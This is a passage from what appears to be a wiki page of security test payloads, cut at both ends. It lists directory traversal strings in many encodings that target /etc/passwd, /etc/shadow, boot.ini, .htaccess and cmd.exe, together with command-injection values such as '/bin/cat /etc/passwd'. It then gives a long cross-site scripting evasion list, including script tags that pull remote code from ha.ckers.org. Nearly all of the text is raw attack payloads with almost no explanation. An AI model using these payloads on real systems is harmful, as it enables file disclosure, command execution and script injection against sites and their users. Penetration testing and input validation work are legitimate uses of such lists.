%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A 